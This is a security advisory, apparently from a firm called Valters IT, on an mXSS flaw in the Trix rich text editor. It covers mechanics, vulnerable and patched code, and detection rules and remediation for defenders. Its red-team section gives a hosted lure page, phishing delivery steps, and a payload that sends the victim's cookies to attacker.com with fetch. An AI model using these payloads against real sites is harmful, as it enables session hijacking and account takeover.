CVE-2024-53847

Executive Summary

CVE-2024-53847 is a Cross-Site Scripting (XSS) vulnerability in the Trix rich text editor, a widely used open-source component developed by Basecamp. The vulnerability allows an attacker to execute arbitrary JavaScript in the context of a victim's session by tricking them into copying and pasting specially crafted malicious content. This is a classic "copy-paste" XSS attack vector, further complicated by a Mutation XSS (mXSS) component that bypasses initial sanitization. The vulnerability affects all versions prior to 2.1.9 and 1.3.3. The patch introduces DOMPurify, a robust HTML sanitization library, to clean pasted content before insertion into the DOM.

Supply Chain & Package Security

Trix is distributed as an npm package (@basecamp/trix). Organizations using Trix in their web applications should immediately audit their dependency trees for affected versions. The vulnerability is introduced at the package level, meaning any application that includes Trix is at risk. The fix is a direct dependency update; no other package changes are required. The npm advisory for this CVE is available, and automated scanning tools (e.g., npm audit, Snyk, Dependabot) will flag the vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must copy and paste the malicious content.
• Scope (S): Changed (C) – The vulnerable component (Trix) impacts the security of the application's scope.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited data modification is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the attack vector is highly social-engineered and can be chained with other vulnerabilities (e.g., stored XSS) to increase impact. The mXSS component makes it particularly dangerous as it can bypass standard input validation.

Deep Dive & Mechanics

The vulnerability resides in Trix's paste handling logic. When a user pastes content, Trix attempts to sanitize the HTML before inserting it into the editor's contenteditable area. However, prior to versions 2.1.9 and 1.3.3, the sanitization was insufficient, specifically regarding mutation XSS.

Mutation XSS (mXSS) occurs when the browser's HTML parser mutates the DOM in a way that differs from the server-side or client-side sanitizer's expectations. In this case, the attacker crafts HTML that, when pasted and subsequently parsed by the browser, transforms into a different structure that executes JavaScript.

Attack Flow:

1. Attacker crafts a malicious HTML payload that appears benign to Trix's initial sanitizer.
2. Attacker hosts this payload on a webpage or sends it via email.
3. Victim copies the payload (e.g., via Ctrl+C or right-click copy).
4. Victim pastes the payload into a Trix editor (e.g., in a webmail client, CMS, or forum).
5. Trix's paste handler processes the content, but the mXSS payload bypasses sanitization.
6. The browser parses the pasted content, mutates the DOM, and executes the attacker's JavaScript.
7. The script runs in the context of the victim's session, allowing actions like stealing cookies, exfiltrating CSRF tokens, or performing actions on behalf of the user.

Example mXSS Payload (Conceptual):

<math><style><!--</style><img src=x onerror=alert(1)>-->

This payload exploits the way browsers handle <math> and <style> elements during parsing, causing the onerror attribute to become active after mutation.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.1.9 / 1.3.3): The paste handler in Trix used a custom sanitization function that did not account for mXSS. It relied on a simple whitelist of tags and attributes, which could be bypassed.

// Simplified vulnerable paste handler
Trix.Paste = {
  sanitize: function(html) {
    // Basic tag/attribute whitelist - insufficient
    return html.replace(/<script[^>]*>.*?<\/script>/gi, '')
               .replace(/on\w+=/gi, '');
  }
}

Patched Code (2.1.9 / 1.3.3): The patched version integrates DOMPurify, a battle-tested library that handles mXSS by parsing the HTML in a sandboxed iframe and then returning a safe version.

// Simplified patched paste handler
import DOMPurify from 'dompurify';

Trix.Paste = {
  sanitize: function(html) {
    return DOMPurify.sanitize(html, { ADD_ATTR: ['target'] });
  }
}

DOMPurify's sanitize function uses a browser's native DOM parser to parse the HTML, then removes all dangerous elements and attributes, effectively neutralizing mXSS payloads.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A web application using Trix < 2.1.9 or < 1.3.3.
• Ability to host a malicious HTML page or send an email with the payload.

Exploit Steps:

1. Craft the mXSS Payload: Use a known mXSS technique. Example:

   <math><style><!--</style><img src=x onerror=alert(document.cookie)>-->
   

2. Host the Payload: Create an HTML file with the payload and host it on a server you control.

   <!DOCTYPE html>
   <html>
   <head><title>Copy Me</title></head>
   <body>
   <p>Copy the text below:</p>
   <div contenteditable="true">
   <math><style><!--</style><img src=x onerror=alert(document.cookie)>-->
   </div>
   </body>
   </html>
   

3. Deliver the Payload: Send the link to the victim via phishing email or social engineering.
4. Victim Action: The victim copies the content from the page and pastes it into the vulnerable Trix editor.
5. Exploitation: The JavaScript executes, stealing session cookies or performing actions.

Advanced Payload (Steal Cookies):

<math><style><!--</style><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>-->

Blue Team (Defensive)

Detection:

• Monitor for unusual paste events in web application logs.
• Use Content Security Policy (CSP) to restrict script execution.
• Deploy Web Application Firewall (WAF) rules to block known mXSS payloads.

Honeypot:

• Set up a honeypot Trix editor instance and monitor for paste events containing suspicious HTML patterns (e.g., <math>, <style>, onerror).

Forensics:

• If an attack is suspected, examine server logs for pasted content that contains <math>, <style>, or event handlers like onerror, onload, etc.
• Check browser console logs for CSP violations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual POST requests to endpoints that handle Trix content (e.g., /posts, /comments).

• Host IOCs:

  • Browser console errors related to CSP violations.
  • Presence of <math>, <style>, or <img onerror= in pasted content logs.

• File IOCs:

  • Trix JavaScript file (trix.js) with version string < 2.1.9 or < 1.3.3.

• Behavioral IOCs:

  • Users reporting unexpected behavior after pasting content (e.g., pop-ups, redirects).
  • Sudden increase in failed login attempts or account takeovers.

Detection Engineering

YARA Rule

rule CVE_2024_53847_Trix_mXSS {
    meta:
        description = "Detects mXSS payloads targeting Trix editor CVE-2024-53847"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53847"
    strings:
        $mxss1 = /<math[^>]*><style[^>]*><!--<\/style><img[^>]*onerror=/i
        $mxss2 = /<svg[^>]*><style[^>]*><!--<\/style><img[^>]*onerror=/i
        $mxss3 = /<template[^>]*><style[^>]*><!--<\/style><img[^>]*onerror=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-53847 Trix mXSS Paste Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential mXSS payloads in HTTP requests to Trix endpoints
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.request.body|contains:
            - '<math><style><!--</style><img'
            - '<svg><style><!--</style><img'
            - '<template><style><!--</style><img'
    condition: selection
falsepositives:
    - Legitimate use of MathML or SVG in content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53847 Trix mXSS Payload Detected"; flow:to_server; content:"<math><style><!--</style><img"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Trix: Update to version 2.1.9 or 1.3.3 immediately.
   • npm: npm install @basecamp/trix@2.1.9
   • CDN: Update the script tag to point to the new version.
2. Verify Patch: Ensure the application is using the patched version by checking the trix.js file header or running npm ls @basecamp/trix.

Long-Term Mitigations:

• Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and restricts script sources.

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Input Validation: Even with the patch, implement server-side validation of pasted content to catch any bypasses.
• User Education: Train users not to copy and paste content from untrusted sources into rich text editors.
• Regular Audits: Use dependency scanning tools (e.g., npm audit, Snyk) to catch vulnerable components.

Workaround (If Patching Is Not Immediately Possible):

• Disable paste functionality in Trix temporarily:

  document.addEventListener('trix-paste', function(event) {
      event.preventDefault();
  });
  

• Use a proxy to sanitize all pasted content before it reaches Trix.

Valters IT
Securing Digital Frontiers